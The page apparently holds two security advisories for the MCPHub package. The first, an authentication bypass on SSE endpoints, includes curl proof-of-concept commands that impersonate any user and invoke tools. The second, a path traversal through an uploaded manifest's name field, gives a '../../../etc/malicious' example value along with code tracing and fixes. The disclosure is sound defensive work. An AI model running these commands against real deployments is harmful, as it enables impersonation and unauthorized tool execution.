Package Instance

@samanhappy/mcphub: SSE Endpoint Accepts Arbitrary Username from URL Path Without Authentication, Enabling User Impersonation
### Summary

A critical identity spoofing vulnerability in MCPHub allows any unauthenticated user to impersonate any other user — including administrators — on SSE (Server-Sent Events) and MCP transport endpoints. The server accepts a username from the URL path parameter and creates an internal user session without any database validation, token verification, or authentication check. The source code itself acknowledges this gap with a TODO comment.

### Details

MCPHub provides user-scoped SSE endpoints at the path `/:user/sse/:group`. The `sseUserContextMiddleware` in `src/middlewares/userContext.ts` (lines 42–75) extracts the username from `req.params.user` and constructs a fabricated `IUser` object directly, bypassing all authentication:

```typescript
export const sseUserContextMiddleware = async (
  req: Request, res: Response, next: NextFunction,
): Promise<void> => {
  const userContextService = UserContextService.getInstance();
  const username = req.params.user;  // ← Taken directly from URL, no validation whatsoever

  if (username) {
    // Note: In a real implementation, you should validate the user exists
    // and has proper permissions
    const user: IUser = {
      username,          // ← Completely attacker-controlled
      password: '',
      isAdmin: false,    // TODO: Should be retrieved from user database
    };

    userContextService.setCurrentUser(user);  // ← Fabricated identity is accepted as real
    attachCleanupHandlers();
    console.log(`User context set for SSE/MCP endpoint: ${username}`);
    next();
  }
  // ...
};
```

The SSE routes in `src/server.ts` (lines 132–161) apply only rate limiting and this context middleware — there is no authentication middleware in the chain:

```typescript
// User-scoped routes with user context middleware
this.app.get(
  `${this.basePath}/:user/sse/:group(.*)?`,
  mcpConnectionRateLimiter,        // Only rate limiting
  sseUserContextMiddleware,         // Identity from URL — no auth
  (req, res) => handleSseConnection(req, res),
);
```

Additionally, `UserContextService` is a **singleton** that stores the current user in a single instance variable. Under concurrent connections, one user's context can silently overwrite another's, creating a secondary race condition vulnerability (CWE-362).

### PoC

**Prerequisites:** A running MCPHub instance with `enableBearerAuth: false` (or bearer keys not configured).

**Step 1 — Connect to the SSE endpoint as any arbitrary user:**
```bash
curl -s -N --max-time 3 http://TARGET:3100/CEO-admin-impersonated/sse
```

Expected response — a valid SSE session is created:
```
event: endpoint
data: /CEO-admin-impersonated/messages?sessionId=54efc6f5-15ed-4e69-9a0e-de87d3179758
```

**Step 2 — Verify on the server side (server logs):**
```
[INFO] User context set for SSE/MCP endpoint: CEO-admin-impersonated
[INFO] Creating SSE transport with messages path: /CEO-admin-impersonated/messages
[INFO] New SSE connection established: 54efc6f5-15ed-4e69-9a0e-de87d3179758 with group: global for user: CEO-admin-impersonated
```

The server accepted a completely non-existent user, created a full MCP session, and is ready to proxy tool calls under this fabricated identity. No database lookup was performed, no token was validated.

**Step 3 — Execute MCP tool calls under the spoofed identity:**

Once the SSE session is established, the attacker can send MCP messages to the returned endpoint path, executing tools under the spoofed user's context:
```bash
curl -X POST http://TARGET:3100/CEO-admin-impersonated/messages?sessionId=54efc6f5-15ed-4e69-9a0e-de87d3179758 \
  -H 'Content-Type: application/json' \
  -d '{"jsonrpc":"2.0","id":1,"method":"tools/call","params":{"name":"any-tool","arguments":{}}}'
```

### Impact

This is a **user identity spoofing** vulnerability on the MCP transport layer. Any unauthenticated network user can:

- **Impersonate any user**, including administrators, on SSE/MCP endpoints
- **Execute MCP tool calls** under a spoofed user's identity, potentially accessing user-scoped resources and data
- **Poison audit logs** — all actions are recorded under the fabricated username, destroying accountability and forensic value
- **Access user-scoped servers and groups** that should only be available to authenticated users

All MCPHub instances exposing SSE endpoints without bearer authentication are affected. This includes the default configuration when bearer keys are not explicitly set up.

Reported by the Eresus Security Research Team.

MCPHub has Path Traversal via Malicious MCPB Manifest Name
**MCPB File Upload Handler** extracts a ZIP file and reads `manifest.json` from it. The `name` field in the manifest is directly concatenated into a file path (line 107) without any sanitization or path traversal character validation. An attacker can craft a malicious MCPB file where `manifest.name` is set to something like `../../../etc/malicious`, causing the file to be extracted to an arbitrary location on the file system. The `cleanupOldMcpbServer` function (line 110) also uses the unsanitized name, potentially allowing deletion of arbitrary directories.

## 1. Summary
- **Vulnerability Type**: Path Traversal (CWE-22)
- **Sink Location**: src/controllers/mcpbController.ts:107
- **Vulnerability Description**: The `name` field from an uploaded MCPB manifest is used directly, without sanitization or normalization, to construct a file system path for directory creation and move operations, which may lead to path traversal attacks.

## 2. Analysis Logic

### Step 1: Inspect the identified sink (src/controllers/mcpbController.ts:106-116)
I examined the upload handler and located the file system sink where `manifest.name` is used to build the final extraction path and write files to that path.

```ts
// src/controllers/mcpbController.ts:106-116
// Use server name as the final extract directory for automatic version management
const finalExtractDir = path.join(path.dirname(mcpbFilePath), `server-${manifest.name}`);

// Clean up any existing version of this server
cleanupOldMcpbServer(manifest.name);
if (!fs.existsSync(finalExtractDir)) {
  fs.mkdirSync(finalExtractDir, { recursive: true });
}

// Move the temporary directory to the final location
fs.renameSync(tempExtractDir, finalExtractDir);
```

Analysis: `manifest.name` is used to build `finalExtractDir`, which is then operated on by `fs.mkdirSync` and `fs.renameSync`. These are file system write/move operations, so if `name` is user-controlled and unsanitized, this is a path traversal sink. Next, I traced the origin of `manifest.name`.

### Step 2: Trace the source of `manifest.name` in the upload handler (src/controllers/mcpbController.ts:83-104)
I traced back the data flow to see how the manifest is read and validated.

```ts
// src/controllers/mcpbController.ts:83-104
const manifestPath = path.join(tempExtractDir, 'manifest.json');
if (!fs.existsSync(manifestPath)) {
  throw new Error('manifest.json not found in MCPB file');
}

const manifestContent = fs.readFileSync(manifestPath, 'utf-8');
const manifest = JSON.parse(manifestContent);

// Validate required fields in manifest
if (!manifest.manifest_version) {
  throw new Error('Invalid manifest: missing manifest_version');
}
if (!manifest.name) {
  throw new Error('Invalid manifest: missing name');
}
```

Analysis: `manifest` is parsed directly from `manifest.json` inside the uploaded archive. The only check on `manifest.name` is that it is non‑empty; there is no sanitization, normalization, or allow‑list validation. Next, I confirmed the entry point for uploading MCPB files to verify user control.

### Step 3: Trace the HTTP entry point in src/routes/index.ts:297-299
I located the route that exposes the upload handler.

```ts
// src/routes/index.ts:297-299
// MCPB upload routes
router.post('/mcpb/upload', uploadMiddleware, uploadMcpbFile);
```

Analysis: The `/mcpb/upload` endpoint invokes `uploadMiddleware` and `uploadMcpbFile`, so user‑supplied uploads are the source of the manifest content. Next, I verified the upload middleware behavior.

### Step 4: Confirm the upload middleware (src/controllers/mcpbController.ts:8-38)
I inspected how the uploaded file is received and stored.

```ts
// src/controllers/mcpbController.ts:8-38
const storage = multer.diskStorage({
  destination: (_req, _file, cb) => {
    const uploadDir = path.join(process.cwd(), 'data/uploads/mcpb');
    if (!fs.existsSync(uploadDir)) {
      fs.mkdirSync(uploadDir, { recursive: true });
    }
    cb(null, uploadDir);
  },
  filename: (_req, file, cb) => {
    const timestamp = Date.now();
    const originalName = path.parse(file.originalname).name;
    cb(null, `${originalName}-${timestamp}.mcpb`);
  },
});

const upload = multer({
  storage,
  fileFilter: (_req, file, cb) => {
    if (file.originalname.endsWith('.mcpb')) {
      cb(null, true);
    } else {
      cb(new Error('Only .mcpb files are allowed'));
    }
  },
  limits: {
    fileSize: 500 * 1024 * 1024, // 500MB limit
  },
});

export const uploadMiddleware = upload.single('mcpbFile');
```

Analysis: The upload middleware only checks file extension and size. It does not restrict or validate the contents of the archive or `manifest.name`. Therefore, `manifest.name` is user‑controlled input. Next, I checked whether any sanitization or normalization is applied before reaching the sink.

### Step 5: Verify lack of path validation on `manifest.name` in src/controllers/mcpbController.ts:92-110
I verified that no path sanitization occurs between parsing and usage.

```ts
// src/controllers/mcpbController.ts:92-110
if (!manifest.name) {
  throw new Error('Invalid manifest: missing name');
}
// ...
const finalExtractDir = path.join(path.dirname(mcpbFilePath), `server-${manifest.name}`);
cleanupOldMcpbServer(manifest.name);
```

Analysis: Before using `manifest.name` to construct a file system path, there is no `path.resolve`/`realpath` check, no use of `basename()`, and no allow‑list validation. This confirms that the path is built from untrusted input without defenses.

### Step 6: Examine cleanup behavior using the unsanitized name (src/controllers/mcpbController.ts:41-52)
I verified how `cleanupOldMcpbServer` uses the same input.

```ts
// src/controllers/mcpbController.ts:41-52
const uploadDir = path.join(process.cwd(), 'data/uploads/mcpb');
const serverPattern = `server-${serverName}`;

if (fs.existsSync(uploadDir)) {
  const files = fs.readdirSync(uploadDir);
  files.forEach((file) => {
    if (file.startsWith(serverPattern)) {
      const filePath = path.join(uploadDir, file);
      if (fs.statSync(filePath).isDirectory()) {
        fs.rmSync(filePath, { recursive: true, force: true });
      }
    }
  });
}
```

Analysis: `serverName` is used without validation, but the deletion is limited to directories already present in `uploadDir` as returned by `readdirSync`. The main traversal risk remains in constructing the path for `finalExtractDir` and the subsequent file system operations.

### Analysis Walkthrough
- Q1: Does user‑controllable input affect the file path? → **Yes**. `manifest.name` is read from the uploaded archive’s `manifest.json` and used in `path.join(...)` to build `finalExtractDir` (src/controllers/mcpbController.ts:89-110).
- Q2: Is the path normalized and validated against a base directory? → **No**. There is no `resolve`/`realpath` + `startsWith` check before `fs.mkdirSync`/`fs.renameSync` (src/controllers/mcpbController.ts:106-116).
- Q3: Is `basename()`/`getName()` used to strip directory components? → **No**. `manifest.name` is used directly in a template string (src/controllers/mcpbController.ts:106-107).
- Q4: Is there a valid allow‑list for allowed names? → **No**. Only an existence check is performed on `manifest.name` (src/controllers/mcpbController.ts:92-97).
- Q5: Is the code in a test/demo/deprecated/generated context? → **No**. This is a production controller and route (src/controllers/mcpbController.ts:64-130, src/routes/index.ts:297-299).
- → Reached leaf node: **True Positive**

## 3. Conclusion
**True Positive**

**Key evidence:**
- `manifest.name` flows directly into `finalExtractDir` and is used by `fs.mkdirSync` and `fs.renameSync` without sanitization (src/controllers/mcpbController.ts:106-116).
- `manifest.name` is parsed from `manifest.json` inside an uploaded archive, with only a non‑empty check (src/controllers/mcpbController.ts:89-97).
- The `/mcpb/upload` endpoint exposes the upload handler that processes user‑supplied archives (src/routes/index.ts:297-299).

## 4. Remediation Recommendations
- Add normalization and base directory validation before using `manifest.name` to construct `finalExtractDir` (e.g., `const resolved = path.resolve(baseDir, `server-${safeName}`); if (!resolved.startsWith(baseDir)) reject;`).
- Use `path.basename()` to strip directory components from `manifest.name` and enforce a strict character allow‑list (alphanumeric, `_`, `-`, `.`) before use.
- Consider rejecting any `manifest.name` that contains path separators or traversal sequences, and add unit tests for malicious traversal inputs.